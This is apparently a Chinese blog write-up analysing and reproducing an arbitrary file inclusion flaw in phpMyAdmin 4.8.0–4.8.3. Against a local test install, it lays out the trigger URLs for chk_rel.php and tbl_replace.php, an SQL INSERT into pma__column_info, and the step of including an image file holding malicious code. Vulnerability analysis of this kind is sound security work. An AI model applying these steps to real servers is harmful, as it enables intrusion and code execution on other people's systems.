phpmyadmin 4.8.0~4.8.3 Transformation 任意文件包含漏洞分析及复现

2018-12-19 11:53:31 浏览数 (1)

写在前面

老感觉phpmyadmin这东西一直在爆洞,前段时间刚好碰到一个有phpmyadmin和数据库密码,4.8.3的版本,潜意识的以为这种大家看烂了最新版应该很安全了,还是太菜了。

漏洞分析

漏洞其实很简单,就是有个文件包含的地方,文件名是从数据库里取的。所以漏洞触发就是先改数据库,把文件名改成我们需要包含的恶意文件,再去包含触发。

tbl_replace.php 220行

  1. 生成phpmyadmin配置表

http://127.0.0.1/phpMyAdmin-4.8.3-english/phpMyAdmin-4.8.3-english/chk_rel.php?fixall_pmadb=1&db=mysql 在mysql数据库中生成配置表

  1. 修改数据库

`INSERT INTO pma__column_info SELECT '1', 'mysql', 'test', 'test', 'test',

'test', 'test', 'test',

'thisisatest','test';`先随便插入一条测试一下,代码里加个var_dump输出瞅瞅。

  1. 触发

http://127.0.0.1/phpMyAdmin-4.8.3-english/phpMyAdmin-4.8.3-english/tbl_replace.php?db=mysql&table=test&where_clause=1=1&fields_name[multi_edit][][]=test&clause_is_unique=1

var_dump输出的包含路径如上图。

  1. 利用

这里我是windows不包含session文件,直接包含一个含有恶意代码的jpg文件进行测试。

先修改路径。

几个小坑

  1. 生成配置表需要在已有的数据库
  2. 插入的数据要和触发时的参数如table,db等参数一致

0 人点赞